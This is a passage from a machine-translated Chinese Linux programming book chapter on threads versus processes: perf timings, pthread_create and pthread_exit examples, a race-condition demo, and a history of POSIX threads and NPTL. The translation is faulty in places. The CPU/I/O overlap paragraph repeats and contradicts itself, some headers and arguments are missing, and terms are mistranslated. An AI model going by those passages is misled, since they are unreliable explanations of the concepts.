Performance counter stats for './fork_test': - - 9054.969497 task-clock (msec) # 0.773 CPUs utilized - 61,245 context-switches # 0.007 M/sec - 202 cpu-migrations # 0.022 K/sec - 15,00,063 page-faults # 0.166 M/sec - cycles - instructions - branches - branch-misses - - 11.714134973 seconds time elapsed -$ -``` - -正如在前面的代码中可以看到的,在虚拟机上,`perf`的当前版本不能显示所有计数器;这不会以任何方式阻碍我们,因为我们真正想要的是它执行所花费的最后时间-它显示在`perf`输出的最后一行中。 - -以下代码显示了多线程应用的`perf(1)`: - -```sh -$ perf stat ./pthread_test - - Performance counter stats for './pthread_test': - - 2377.866371 task-clock (msec) # 0.587 CPUs utilized - 60,887 context-switches # 0.026 M/sec - 117 cpu-migrations # 0.049 K/sec - 69 page-faults # 0.029 K/sec - cycles - instructions - branches - branch-misses - - 4.052964938 seconds time elapsed -$ -``` - -For interested readers, we have also provided a wrapper script (`ch14/speed_multiprcs_vs_multithrd_simple/create_destroy/perf_runs.sh`), allowing the user to perform a record and report session with `perf(1)`. - -# 示例 2-矩阵乘法-进程/线程 - -一个众所周知的练习是编写一个程序来计算两个给定矩阵的(点)积。 从本质上讲,我们希望执行以下操作: - -`matrix C = matrix A * matrix B` - -同样,我们强调的事实是,在这里,我们并不真正关心算法(和代码)的细节;这里我们关心的是如何在设计级别上执行矩阵乘法。 我们提出了两种方式(并编写了相应的代码): - -* 顺序地,通过单线程模型 -* 同时,它通过最新的多线程操作系统模型来实现 - -Note: None of this—the algorithm or code—is purported to be original or ground-breaking in any manner; these are well-known programs. - -在第一个模型中,一个线程(当然是`main()`)将运行并执行计算;该程序可以在以下位置找到:`ch14/speed_multiprcs_vs_multithrd_simple/matrixmul/prcs_matrixmul.c`。 - -在第二部分中,我们将创建至少与目标系统上的 CPU 核心一样多的线程,以充分利用硬件(这一方面将在本章后面的*部分讨论,称为*可以创建多少线程?*);每个线程将执行一部分计算,并与其他线程并行。 该程序可以在以下位置找到:`ch14/speed_multiprcs_vs_multithrd_simple/matrixmul/thrd_matrixmul.c`。* - -在多线程版本中,目前,我们只是将代码中的 CPU 核心数硬编码为 4 个,因为它与我们本地的 Linux 测试系统之一相匹配。 - -为了真正了解我们的应用的进程和/或线程实际是如何消耗 CPU 带宽的,让我们使用有趣的`gnome-system-monitor`图形用户界面应用来以图形方式查看资源消耗情况! (要运行它,假设它已经安装,只需在 shell 上键入`$ gnome-system-monitor &`命令即可)。 - -We remind you that all software and hardware requirements have been enumerated in some detail in the software-hardware list material available on this book's GitHub repository. - -我们将按如下方式进行实验: - -1. **在具有四个 CPU 内核的原生 Linux 机器上运行应用:** - - **![](img/e3a13cd1-66d2-48a1-b3ef-527f115b79ef.png) - -仔细查看前面的(带注释的)屏幕截图(如果您正在阅读电子版,请放大);我们将注意到几个感兴趣的项目: - -* 前台是终端窗口应用,我们在其中运行`prcs_matrixmul`应用和`thrd_matrixmul`应用: - * 我们使用`perf(1)`来精确测量所用的时间,并故意过滤掉除执行过程中经过的最后秒数之外的所有输出。 -* 在后台,您可以看到 GNOME-SYSTEM-MONITOR 和 GUI 应用正在运行。 -* (原生 Linux)系统-我们在其上进行测试的特定系统-有四个 CPU 核心: -* 查找系统上 CPU 核心数量的一种方法是使用以下代码:`getconf -a | grep _NPROCESSORS_ONLN | awk '{print $2}'` - (您可以更新源代码中的`NCORES`宏`thrd_matrixmul.c`*和*以反映此值) -* `prcs_matrixmul`应用首先运行;当它运行时,它只在四个可用 CPU 核心中的一个上消耗 100%的 CPU 带宽(恰好是 CPU 核心#2)。 -* 请注意,在 CPU History 指示器的中间到左侧,代表 CPU2 的红线最高可达 100%(用紫色椭圆形突出显示,并标有 Process)! -* 在实际拍摄屏幕截图时(X 轴时间线上的操作系统;它从右向左移动),CPU 已恢复到正常水平。 -* 下一步(在这次运行中间隔 10 秒之后),`thrd_matrixmul`应用运行;这就是关键点:当它运行时,它消耗所有四个 CPU 核心上 100%的 CPU 带宽! -* 请注意,大约在 X 轴时间线上的 15s 标记(从右向左阅读)之后,所有四个 CPU 内核如何达到 100%-这是在执行`thrd_matrixmul`命令期间(用红色省略号突出显示并标记为 Thread)。 - -这说明了什么? 真正重要的是:底层 Linux OS CPU 调度器将尝试利用硬件,并在可能的情况下调度我们的四个应用线程在可用的四个 CPU 上并行运行! 因此,我们获得了更高的吞吐量、更高的性能和更高的性价比。 - -Understandably, you might at this point wonder about and have a lot of questions on how Linux performs CPU (thread) scheduling; worry not, but please have some patience—we shall explore CPU scheduling in some detail in [Chapter 17](17.html), *CPU* *Scheduling on Linux*. - -2. 仅限于一个 CPU: - -N`taskset(1)`实用程序允许用户在指定的一组处理器核心上运行进程。 (这种将进程与给定 CPU 相关联的能力称为 CPU 亲和性。 我们将在有关日程安排的一章中再讨论这一点。)。 以其基本形式使用`taskset`代码很容易:`taskset -c ` - -正如您从下面的屏幕截图中看到的,我们对比了在系统上的所有四个 CPU 核心上运行`thrd_matrixmul`应用(以通常的方式)和通过指定 CPU 掩码在一个 CPU 上运行应用;屏幕截图再次清楚地显示了,在前一次运行中,操作系统如何将所有四个 CPU 都按下操作(总共需要 8.084s),而在后一次运行中只使用了一个 CPU(以绿色显示为 CPU3);在前一次运行中,所有四个 CPU 都被操作系统按动(总共需要 8.084s),而在后一次运行中只使用了一个 CPU(显示为绿色的 CPU3) - -![](img/61357669-4d7c-4bf5-8ddd-2dcfbd514e28.png) - -看到我们在这一节中刚刚学到的内容,您可能会立即得出结论,“嘿,我们找到了答案:让我们始终使用多线程。” 但是,当然,经验告诉我们,没有什么灵丹妙药。 现实情况是,尽管线程确实提供了一些真正的优势,但与生活中的一切一样,它也有缺点。 我们将推迟在[第 16 章](16.html)和*使用 PthreadsIII 部分*进行多线程的利弊讨论;不过,一定要记住这一点。 - -现在,让我们再做一个实验,以清楚地说明这样一个事实,即不仅多线程,而且多处理-使用分叉来产生多个进程-也非常有助于获得更高的吞吐量。 - -# 示例 3-编译内核 - -因此,最后一个实验(用于本节):我们将构建(交叉编译)一个 Linux 内核版本。 4.17 用于 ARM Versatile Express 平台(使用其默认配置)。 内核构建等的细节不在本书的讨论范围内,但没关系:这里的关键点是内核构建绝对是 CPU 和 RAM 密集型操作。 不仅如此,现代的`make(1)`智能公用事业还具备多进程能力! 人们可以通过它的`-jn`选项开关告诉`make`要内部派生(Fork)的作业(进程)的数量,其中`n`是作业(线程)的数量。 我们使用启发式(经验法则)来确定这一点: - -`n = number-of-CPU-cores * 2` - -(在拥有大量内核的非常高端的系统上,乘以 1.5。) - -了解了这一点,看看下面的实验。 - -# 在具有 1 GB RAM、两个 CPU 内核和并行 Make-J4 的虚拟机上 - -我们将来宾 VM 配置为具有两个处理器,并继续并行构建(通过指定`make -j4`): - -```sh -$ cd -$ perf stat make V=0 -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- allscripts/kconfig/conf --syncconfig Kconfig - CHK include/config/kernel.release - SYSHDR arch/arm/include/generated/uapi/asm/unistd-oabi.h - SYSHDR arch/arm/include/generated/uapi/asm/unistd-common.h - WRAP arch/arm/include/generated/uapi/asm/bitsperlong.h - WRAP arch/arm/include/generated/uapi/asm/bpf_perf_event.h - WRAP arch/arm/include/generated/uapi/asm/errno.h -[...] *<< lots of output >>* - CC arch/arm/boot/compressed/string.o - AS arch/arm/boot/compressed/hyp-stub.o - AS arch/arm/boot/compressed/lib1funcs.o - AS arch/arm/boot/compressed/ashldi3.o - AS arch/arm/boot/compressed/bswapsdi2.o - AS arch/arm/boot/compressed/piggy.o - LD arch/arm/boot/compressed/vmlinux - OBJCOPY arch/arm/boot/zImage - Kernel: arch/arm/boot/zImage is ready - - Performance counter stats for 'make V=0 -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- all': - - 1174027.949123 task-clock (msec) # 1.717 CPUs utilized - 3,80,189 context-switches # 0.324 K/sec - 7,921 cpu-migrations # 0.007 K/sec - 2,13,51,434 page-faults # 0.018 M/sec - cycles - instructions - branches - branch-misses - - 683.798578130 seconds time elapsed -$ ls -lh <...>/linux-4.17/arch/arm/boot/zImage --rwxr-xr-x 1 seawolf seawolf 4.0M Aug 13 13:10 <...>/zImage* -$ ls -lh <...>/linux-4.17/vmlinux --rwxr-xr-x 1 seawolf seawolf 103M Aug 13 13:10 <...>/vmlinux* -$ -``` - -构建过程总共花费了大约 684 秒(11.5 分钟)。 如您所知,ARM 的压缩内核映像(我们用来引导的那个)是名为.`zImage`的文件;而未压缩的内核映像(仅用于调试目的)是.`vmlinux`.file 文件。 - -当它运行时,在构建期间快速执行`ps -LA`*和*确实揭示了它的多进程-而不是多线程-性质: - -```sh -$ ps -LA -[...] -11204 11204 pts/0 00:00:00 make -11227 11227 pts/0 00:00:00 sh -11228 11228 pts/0 00:00:00 arm-linux-gnuea -11229 11229 pts/0 00:00:01 cc1 -11242 11242 pts/0 00:00:00 sh -11243 11243 pts/0 00:00:00 arm-linux-gnuea -11244 11244 pts/0 00:00:00 cc1 -11249 11249 pts/0 00:00:00 sh -11250 11250 pts/0 00:00:00 arm-linux-gnuea -11251 11251 pts/0 00:00:00 cc1 -11255 11255 pts/0 00:00:00 sh -11256 11256 pts/0 00:00:00 arm-linux-gnuea -11257 11257 pts/0 00:00:00 cc1 -[...] -$ -``` - -# 在具有 1 GB RAM、一个 CPU 核心和顺序 Make-J1 的虚拟机上 - -我们将来宾 VM 配置为只有一个处理器,清理构建目录,然后再次继续,但这次使用的是顺序构建(通过指定`make -j1`): - -```sh -$ cd -$ perf stat make V=0 -j1 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- all -scripts/kconfig/conf --syncconfig Kconfig - SYSHDR arch/arm/include/generated/uapi/asm/unistd-common.h - SYSHDR arch/arm/include/generated/uapi/asm/unistd-oabi.h - SYSHDR arch/arm/include/generated/uapi/asm/unistd-eabi.h - CHK include/config/kernel.release - UPD include/config/kernel.release - WRAP arch/arm/include/generated/uapi/asm/bitsperlong.h - -[...] *<< lots of output >>* - - CC crypto/hmac.mod.o - LD [M] crypto/hmac.ko - CC crypto/jitterentropy_rng.mod.o - LD [M] crypto/jitterentropy_rng.ko - CC crypto/sha256_generic.mod.o - LD [M] crypto/sha256_generic.ko - CC drivers/video/backlight/lcd.mod.o - LD [M] drivers/video/backlight/lcd.ko - - Performance counter stats for 'make V=0 -j1 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- all': - - 1031535.713905 task-clock (msec) # 0.837 CPUs utilized - 1,78,172 context-switches # 0.173 K/sec - 0 cpu-migrations # 0.000 K/sec - 2,13,29,573 page-faults # 0.021 M/sec - cycles - instructions - branches - branch-misses - - 1232.146348757 seconds time elapsed -$ -``` - -构建总共花费了大约 1232 秒(20.5 分钟),几乎是上一次构建时间的两倍! - -您可能会问这个问题:那么,如果使用一个进程的构建花费了大约 20 分钟,而使用多个进程的相同构建花费了大约一半的时间,那么为什么要使用多线程呢? 多处理似乎也一样好! - -不,请想一想:我们关于进程与线程创建/销毁的第一个例子告诉我们,产生(和终止)进程比对线程做同样的事情要慢得多。 这仍然是许多应用利用的一个关键优势。 毕竟,就创建和销毁而言,线程要比进程高效得多。 - -在动态、不可预测的环境中,我们事先不知道需要多少工作,因此使用多线程能够快速创建工作线程(并快速终止它们)是非常重要的。 想想著名的 Apache Web 服务器:默认情况下它是多线程的(通过它的`mpm_worker`模块),以便快速服务于客户端请求。 以类似的方式,现代的 Nginx Web 服务器使用线程池(感兴趣的人可以在 GitHub 存储库的*进一步阅读*部分找到更多关于这方面的信息)。 - -# 动机:为什么是线程? - -线程确实提供了许多有用的优点;在这里,我们尝试列举一些更重要的优点。 我们从应用架构师使用多线程的动机的角度来考虑这一点,因为可以获得潜在的优势。 我们把这个讨论分成两个方面:设计方面和表现方面。 - -# 设计动机 - -在设计方面,我们考虑了以下几点: - -# 利用潜在的并行性 - -许多现实世界中的应用将受益于这样一种设计方式,即工作可以拆分成不同的单元,并且这些单元或工作包可以彼此并行(并发)运行。 在实现层面,我们可以使用不同的线程来实现工作地块。 - -例如,下载加速器程序通过让多个线程执行网络 I/O 来利用网络。每个线程都被分配到只下载文件一部分的工作;它们都是并行运行的,有效地获得了比单个线程更多的网络带宽,完成后,目标文件被缝合在一起。 - -这样的例子比比皆是;认识到并行性的巨大潜力是架构师工作的重要部分。 - -# 逻辑分离 - -线程模型直观地允许设计者在逻辑上分离工作。 例如,GUI 前端应用可能有几个线程来管理 GUI 状态、等待和响应用户输入,等等。 其他线程可以用来处理应用的业务逻辑。 不将**用户界面**(**UI**)与业务逻辑混合是良好设计的关键要素。 - -# CPU 与 I/O 重叠 - -这一点在方式上类似于前一点-任务的逻辑分离。在我们讨论的上下文中,CPU 指的是 CPU 密集型或 CPU 受限的软件(典型的例子是`while (1)`;C 代码段);I/O 指的是处于阻塞状态的软件-我们说它正在等待 I/O,这意味着它正在等待某个其他操作完成(可能是文件或网络读取,或者实际上是任何阻塞的 API),然后才能继续前进 - -因此,可以这样想:假设我们有一系列任务要执行(它们之间没有依赖关系):任务 A、任务 B、任务 C 和任务 D。 - -我们还可以说,任务 A 和任务 C 对 CPU 的限制很高,而任务 B 和任务 D 对 I/O 的限制更高。如果我们使用传统的单线程方法,那么当然每个任务都必须按顺序执行;因此,这个过程最终会等待任务 B 和 D-可能需要很长一段时间,从而延迟任务 C。另一方面,如果我们使用多线程方法,我们可以将任务作为单独的线程来分离。因此,即使是这样,这个过程也会以等待任务 B 和 D 结束-可能需要很长一段时间--来延迟任务 C。另一方面,如果我们使用多线程方法,我们甚至可以将任务分离为单独的线程。因此,即使是这样,这个过程也以等待任务 B 和任务 D 结束-可能需要很长一段时间-来延迟任务 C - -这称为 CPU 与 I/O 重叠。当任务之间没有依赖关系时,通过使用线程来解耦(和分离)任务,通常是一种值得采用的设计方法。 它还可以带来更好的应用响应性。 - -# 管理者-工人模式 - -线程很容易采用熟悉的管理器-工人模型;管理器线程(通常是`main()`)按需创建工作线程(或将它们汇集在一起);当工作发生时,工作线程处理它。 想想繁忙的 Web 服务器。 - -# IPC 变得简单(R) - -在不同流程之间执行 IPC 转换需要学习曲线、经验和大量工作。 由于多个线程属于一个进程,它们之间的 IPC-通信-就像写入和读取全局内存一样简单(嗯,老实说,并不是那么简单,当我们在下一章谈到并发和同步的主题时,我们将了解到这一点;从概念上和字面上讲,这仍然比处理 IPC 的工作要少)。 - -# 绩效激励 - -正如上一节中的两个示例非常清楚地向我们展示的那样,使用多线程可以显著提高应用性能;这里提到了其中一些原因。 - -# 创造与毁灭 - -前面的示例 1 清楚地告诉我们,创建和销毁线程所需的时间远远少于进程。 许多应用要求您几乎不间断地执行此操作。 (我们将看到,创建和销毁线程在编程上要比对进程执行同样的操作简单得多。) - -# 自动利用现代硬件的优势 - -前面的示例 2 清楚地说明了这一点:当在现代多核硬件上运行多线程应用时(高端企业级服务器可以拥有超过 700 个 CPU 核心!),底层操作系统将负责将线程以最佳方式调度到可用的 CPU 核心上;应用开发人员不需要关心这一点。 实际上,Linux 内核将尽可能尝试并确保完美的 SMP 可伸缩性,这将导致更高的吞吐量,并最终提高速度。 (同样,亲爱的读者,我们在这里持乐观态度:现实情况是,伴随着高度并行性和 CPU 内核,并发问题也会带来严重的负面影响;我们将在接下来的章节中更详细地讨论所有这些问题。) - -# 资源共享 - -我们已经在本章开头部分的*资源共享*一节中介绍了这一点(如果需要,请重新阅读)。 底线是:与进程创建相比,创建线程相对便宜(销毁也是如此)。 此外,与进程相比,线程的实际内存占用要低得多。 因此,获得了资源共享以及相关的性能优势。 - -# 上下文切换 - -上下文切换在操作系统上是一个不幸的现实-这是每次操作系统从运行一个进程切换到运行另一个进程时必须完成的元工作(我们有自愿和非自愿的上下文切换)。 上下文切换所需的实际时间在很大程度上取决于硬件系统和操作系统的软件质量;不过,对于基于 x86 的硬件系统,它通常在几十微秒的范围内。 这听起来相当微小:要了解为什么这被认为是重要的(而且确实是浪费的),请查看在一台普通 Linux 桌面计算机上运行`vmstat 3`命令的输出(`vmstat(1)`是一个著名的实用程序;通过这种方式,它为我们提供了一个漂亮的 10,000 英尺的系统活动视图;嘿,还可以试试它的现代后继者`dstat(1)`): - -```sh -$ vmstat 3 -procs --------memory----------- --swap-- --io-- -system-- ------cpu----- - r b swpd free buff cache si so bi bo in cs us sy id wa st - 0 0 287332 664156 719032 6168428 1 2 231 141 73 22 23 16 60 1 0 - 0 0 287332 659440 719056 6170132 0 0 0 124 2878 2353 5 5 89 1 0 - 1 0 287332 660388 719064 6168484 0 0 0 104 2862 2224 4 5 90 0 0 - 0 0 287332 662116 719072 6170276 0 0 0 427 2922 2257 4 6 90 1 0 - 0 0 287332 662056 719080 6170220 0 0 0 12 2358 1984 4 5 91 0 0 - 0 0 287332 660876 719096 6170544 0 0 0 88 2971 2293 5 6 89 1 0 - 0 0 287332 660908 719104 6170520 0 0 0 24 2982 2530 5 6 89 0 0 -[...] -``` - -(有关所有字段的详细说明,请查看`vmstat(1)`上的手册页)。 在`system`标题下,我们有两列:`in`和`cs`(硬件)分别用于在最后一秒内发生的中断和上下文切换。 只要看看这些数字就可以了(不过,忽略第一个输出行)! 这是相当高的。 这就是为什么它对系统设计人员非常重要的原因。 - -与进程(或属于不同进程的线程)之间的上下文切换相比,同一进程的线程之间的上下文切换花费的工作(因此时间)要少得多。 这是有道理的:当整个进程保持不变时,可以有效地缩短大量内核代码。 因此,这成为使用线程的另一个优势。 - -# 穿线的简史 - -线程-一种顺序控制流-已经存在了很长一段时间;只是,它们被命名为进程(1965 年伯克利分时系统(Berkeley Timesharing System)的时候就有了这一点)。然后,到了 20 世纪 70 年代初,Unix 出现了,它将这个进程巩固为 VAS 进程和顺序控制流的组合。 如前所述,这现在被称为单线程模型,因为当然只有一个控制线程-主线程函数-存在。 - -然后,在 1993 年 5 月,Sun Solaris 2.2 推出了 UI 线程,以及一个名为*libthread*的线程库,它公开了 UI API 集;实际上就是现代线程。 与之竞争的 Unix 供应商很快就提出了他们自己的专有多线程解决方案(使用暴露 API 的运行时库)--带 DECthread 的数字解决方案(后来被 Compaq Tru64 Unix 和后来的 HP-UX 吸收)、带 AIX 的 IBM、带 IRIX 的 Silicon Graphics 等等--每个解决方案都有自己的专有解决方案。 - -# POSIX 线程 - -专有解决方案给拥有来自多个供应商的异构硬件和软件的大客户带来了一个主要问题;由于是专有解决方案,很难让不同的库和 API 集相互通信。 这是一个常见的问题--缺乏互操作性。 好消息是:1995 年,IEEE 成立了一个单独的 POSIX 解决方案委员会-IEEE 1003.1c-**POSIX 线程**和(**pthreads**)委员会,以发展多线程 API 的标准化解决方案。 - -POSIX: Apparently, the original name of the IEEE body is **Portable Operating System Interface for Computing Environments** (**POSICE**). Richard M. Stallman (RMS)  suggested shortening the name to **Portable Operating System Interface for uniX** (**POSIX**), and that name has stuck. - -因此,归根结底,pthread 是一个 API 标准;正式的标准是 IEEE 1003.1c-1995。 所有这一切的结果是,所有 Unix 和类似 Unix 的操作系统供应商逐渐构建了支持 pthread 的实现;因此,今天(至少在理论上),您可以编写一个 pthread 多线程应用,它将原封不动地运行在任何与 pthread 兼容的平台上(实际上,需要一些移植工作)。 - -# Pthread 和 Linux - -当然,Linux 希望与 POSIX 线程标准兼容;但谁会真正构建实现(请记住,该标准只是一个规范文档草案;它不是代码)? 早在 1996 年,Xavier Leroy 就着手构建了 Linux 的第一个 pthread 实现--一个称为 Linux 线程的线程库。 综上所述,这是一个很好的努力,但并不完全兼容(当时是全新的)pthreads 标准。 - -早期解决问题的努力被称为**下一代 POSIX 线程**(**NGPT**)。 大约在同一时间,RedHat 也投入了一个团队来从事这方面的工作;他们把这个项目称为**Native POSIX 线程库**(**NPTL**)。**NPTL**秉承开源文化的最好传统,NGPT 开发人员与他们在 NPTL 的同行一起工作,并开始将 NGPT 的最佳功能合并到 NPTL 中。 NGPT 开发在 2003 年的某个时候就被放弃了;到那时,Linux 上 pthread 的现实实现--一直保留到今天--是 NPTL。 - -More technically: NPTL was entrenched as the superior threading API interface, even as features were integrated into the 2.6 Linux kernel (December 2003 onward), which helped greatly improve threading performance.  - -NPTL implements the 1:1 threading model; this model provides true multithreading (user and kernel state) and is also known as the native threads model. Here, we do not intend to delve into these internal details; a link has been provided for interested readers in the *Further reading *section on the GitHub repository. - -您可以使用以下代码(在 Fedora 28 系统上)查找线程实现(从 glibc 2.3.2 开始): - -```sh -$ getconf GNU_LIBPTHREAD_VERSION -NPTL 2.27 -$ -``` - -很明显,这是 NPTL。 - -# 线程管理-提供基本的 pthreadAPI - -在这篇文章中--第一章关于多线程的第二个主要部分--我们现在将重点放在机制上:使用 pthread 和 API,程序员究竟是如何以有效的方式创建和管理线程的? 我们将探索实现这一关键目的的基本 pthreadAPI 接口;这些知识是编写功能性和性能友好的 pthreadsAPI 应用的构建块。 - -我们将从 API 集的角度向您介绍线程生命周期--创建、终止、加入(等待),以及一般而言,管理进程的线程。 我们还将介绍线程堆栈管理。 - -当然,这意味着我们在 Linux 系统上安装了一个 pthread 运行时库。 在现代 Linux 发行版上,情况肯定会是这样;只有当您使用非常奇特的嵌入式 Linux 时,才需要验证这一点。 Linux 平台上的 pthreads 库的名称是 ilibpthread。 - -关于 pthreadAPI 的几个要点如下: - -* 所有 pthread 的 API 都要求在源代码中包含``头文件。 -* API 通常使用面向对象的数据隐藏和数据抽象概念;许多数据类型都是内部的 typedefs;这种设计是经过深思熟虑的:我们想要可移植的代码。 因此,程序员不能假定类型,必须在适用于访问和/或查询数据类型的情况下使用提供的帮助器方法。 (当然,代码本身就是通常的过程性 C 语言;然而,许多概念都是围绕面向对象建模的。 有趣的是,Linux 内核也遵循这种方法。) - -# 线程创建 - -创建线程的 pthreadsAPI 为`pthread_create(3)`,签名如下: - -```sh -#include -int pthread_create(pthread_t *thread, const pthread_attr_t *attr, - void *(*start_routine) (void *), void *arg); -``` - -在编译 pthread 应用时,指定`-pthread``gcc`选项开关(它启用使用 libpthread 库所需的宏(后面将详细介绍))是非常重要的。 - -`pthread_create`是在调用进程内创建新线程时要调用的 API。 如果成功,新线程将与该进程中可能在该时间点上处于活动状态的其他线程并发(并行)运行;但是,它将运行哪些代码?它将通过运行`start_routine`函数的代码(此 API 的第三个参数:指向该函数的指针)开始。 当然,这个函数`thread`随后可以进行任意数量的函数调用。 - -新线程的线程 ID 将存储在不透明数据项`thread`中-第一个参数(它是值-结果样式参数)。 它的数据类型`pthread_t`故意不透明;我们不能假设它是整数(或任何类似的东西)。 我们很快就会遇到我们何时以及如何使用线程 ID 的问题。 - -请注意,第三个参数,即函数指针-由新线程运行的例程-本身接收一个 void*参数-一个泛型指针。 这是一种常见且有用的编程技术,使我们能够将任何值传递给新创建的线程。 (这类参数在文献中通常被称为客户端数据标签或标签。)。 我们怎么才能通过呢? 通过将第四个参数传递给`pthread_create(3)`,`arg`。 - -`pthread_create(3)`的第二个参数是线程属性结构;在这里,程序员应该传递正在创建的线程的所有属性(我们稍后将讨论其中的一些)。 这里有一个捷径:在这里传递`NULL`意味着在创建线程时,库应该使用所有默认属性。 然而,某个 Unix 上的缺省值可能与另一个 Unix 或 Linux 上的缺省值有很大不同;编写可移植代码意味着不会假定任何缺省值,而是显式地使用对应用正确的属性来初始化线程。 因此,我们的建议绝对不是传递`NULL`,而是显式地初始化一个参数`pthread_attr_t`结构并传递它(下面的代码示例将说明这一点)。 - -最后,成功时返回值为`0`,失败时返回值为非零值;将返回值设置为适当的几个值(有关这些详细信息,请参阅`pthread_create(3)`上的手册页)。 - -创建新线程时,它会继承其创建线程的某些属性;这些属性包括: - -* 创建线程的能力集(回想一下我们在[第 8 章](08.html),*进程能力*中的讨论);这是特定于 Linux 的 -* 创建线程的 CPU 关联掩码;这是特定于 Linux 的 -* 信号掩码 - -新线程中的所有挂起信号和挂起计时器(警报)都将被清除。新线程的 CPU 执行时间也将被重置。 - -Just so you know, on the Linux libpthreads implementation, `pthread_create(3)` calls the `clone(2)` system call, which, within the kernel, actually creates the thread.  -Interestingly, modern glibc's fork implementation also invokes the `clone(2)` system call. Flags passed to `clone(2)` determine how resource sharing is done. - -现在是我们做一些编码的时候了!我们将为 pthread 的应用(`ch14/pthreads1.c`)编写一个非常简单(实际上非常有 bug!)的代码`hello, world.`: - -```sh -[...] -#include -#include "../common.h" -#define NTHREADS 3 - -void * worker(void *data) -{ - long datum = (long)data; - printf("Worker thread #%ld says: hello, world.\n", datum); - printf(" #%ld: work done, exiting now\n", datum); -} - -int main(void) -{ - long i; - int ret; - pthread_t tid; - - for (i = 0; i < NTHREADS; i++) { - ret = pthread_create(&tid, NULL, worker, (void *)i); - if (ret) - FATAL("pthread_create() failed! [%d]\n", ret); - } - exit(EXIT_SUCCESS); -} -``` - -如您所见,我们循环了三次,在每次循环迭代中都创建了一个线程。 请注意,`pthread_create(3)`的第三个参数是函数指针(只需提供函数名就足够了;其余部分由编译器处理);这是线程的工作例程。 这里,它是函数`worker`。 我们还会将第四个参数传递给`pthread_create`-回想一下,这是客户端数据,您希望传递给新创建的线程的任何数据;在这里,我们将循环索引传递给`i`(当然,我们会适当地对其进行类型转换,以便编译器不会出错)。 - -在`worker`函数中,Worker 通过再次将`void *`类型转换回其原始类型`long`来访问客户端数据(作为形参`data`接收): - -`long datum = (long)data;` - -然后,我们只需发出几个简单的 printf,就可以表明,是的,我们确实在这里。 请注意所有工作线程是如何运行相同的代码的,即`worker`函数。 这是完全可以接受的;回想一下,就页面权限而言,代码(文本)是可读可执行的;并行运行文本不仅是可以的,而且通常是可取的(提供高吞吐量)。 - -为了构建它,我们提供了 Makefile;不过请注意,并不是所有的 pthread 和 API 在缺省情况下都是链接在一起的,比如 glibc。 不,它们当然在 libpthread 中,在这个线程中,我们必须通过`-pthread`指令显式编译(到源文件)并链接到我们的二进制可执行文件。下面的代码片段显示了正在执行的操作: - -```sh -CC := gcc -CFLAGS=-O2 -Wall -UDEBUG -pthread -LINKIN := -pthread - -#--- Target :: pthreads1 -pthreads1.o: pthreads1.c - ${CC} ${CFLAGS} -c pthreads1.c -o pthreads1.o -pthreads1: common.o pthreads1.o - ${CC} -o pthreads1 pthreads1.o common.o ${LINKIN} -``` - -构建它现在可以工作了,但是-请仔细注意这一点-这个程序根本不能很好地工作! 在下面的代码中,我们通过循环`./pthreads1`来执行一些测试运行: - -```sh -$ for i in $(seq 1 5); do echo "trial run #$i:" ; ./pthreads1; done trial run #1: -Worker thread #0 says: hello, world. -Worker thread #0 says: hello, world. -trial run #2: -Worker thread #0 says: hello, world. -Worker thread #0 says: hello, world. - #0: work done, exiting now -trial run #3: -Worker thread #1 says: hello, world. -Worker thread #1 says: hello, world. - #1: work done, exiting now -trial run #4: -trial run #5: $ -``` - -正如您可以看到的,`hello, world.`消息只会间歇性地出现,在试运行 4 和 5 中根本不会出现(当然,当您尝试此功能时,您看到的输出肯定会因时间问题而有所不同)。 - -为什么会是这样呢? 很简单:我们无意中造成了一个棘手的局面-一场激烈的比赛! 具体在哪里? 再仔细地看一下代码:循环完成后,`main()`函数做了什么? 它调用`exit(3)`;因此整个进程终止,而不仅仅是主线程!谁又能保证工作线程在这种情况发生之前完成了它们的工作呢? 啊,女士们先生们,这就是你们的经典比赛。 - -那么,我们怎么解决它呢? 现在,我们只需要执行几个快速修复;避免冒充代码的正确方法是通过同步;这是一个很大的主题,值得单独用一章来讨论(正如您将看到的)。 好的,首先,我们来解决下一条主线过早退出的问题。 - -# 结束 / 终止 / 结果 / 终点 - -`exit(3)`库 API 会导致调用进程及其所有线程终止。 如果您想要终止单个线程,请让它调用`pthread_exit(3)`API: - -```sh -#include - void pthread_exit(void *retval); -``` - -此参数指定调用线程的退出状态;暂时,我们忽略它,只传递`NULL`(我们稍后将检查使用此参数)。 - -那么,回到我们的 Racy 应用(`ch14/pthreads1.c`);让我们制作第二个更好的版本(`ch14/pthreads2.c`)。 实际上,我们第一个版本的问题是竞争-第一个主线程调用`exit(3)`,导致整个过程死亡,可能是在工作线程有机会完成他们的工作之前。 那么,让我们通过让`main()`调用`pthread_exit(3)`来修复这个问题!此外,为什么不通过显式调用`pthread_exit(3)`来让我们的线程工作者函数正确终止呢? - -以下是`worker()`函数和`main()`函数(`ch14/pthreads2.c`)的修改后的代码片段: - -```sh -void * worker(void *data) -{ - long datum = (long)data; - printf("Worker thread #%ld running ...\n", datum); - printf("#%ld: work done, exiting now\n", datum); - pthread_exit(NULL); -} -[...] - for (i = 0; i < NTHREADS; i++) { - ret = pthread_create(&tid, NULL, worker, (void *)i); - if (ret) - FATAL("pthread_create() failed! [%d]\n", ret); - } -#if 1 - pthread_exit(NULL); -#else - exit(EXIT_SUCCESS); -#endif -[...] -``` - -让我们试用一下前面的程序: - -```sh -$ ./pthreads2 -Worker thread #0 running ... -#0: work done, exiting now -Worker thread #1 running ... -#1: work done, exiting now -Worker thread #2 running ... -#2: work done, exiting now -$ -``` - -那好多了! - -# 鬼魂的归来 - -还有一个隐藏的问题。让我们再做一些实验:让我们写这个程序的第三个版本(让我们称它为`ch14/pthreads3.c`)。 在它中,我们说,如果工作线程执行它们的工作需要更长的时间(比它们当前花费的时间更长)怎么办? 我们可以很容易地用一个简单的函数来模拟这一点,该函数将被引入到 Worker 例程中: - -```sh -[...] -void * worker(void *data) -{ - long datum = (long)data; - printf("Worker thread #%ld running ...\n", datum); - sleep(3); - printf("#%ld: work done, exiting now\n", datum); - pthread_exit(NULL); -} -[...] -``` - -让我们试试看: - -```sh -$ ./pthreads3 -Worker thread #0 running ... -Worker thread #1 running ... -Worker thread #2 running ... - *[... All three threads sleep for 3s ...]* - -#1: work done, exiting now -#0: work done, exiting now -#2: work done, exiting now -$ -``` - -井?。 看起来还不错。 真的吗? 只需要再做一次快速而微小的修改;将休眠时间从 3 秒增加到 30 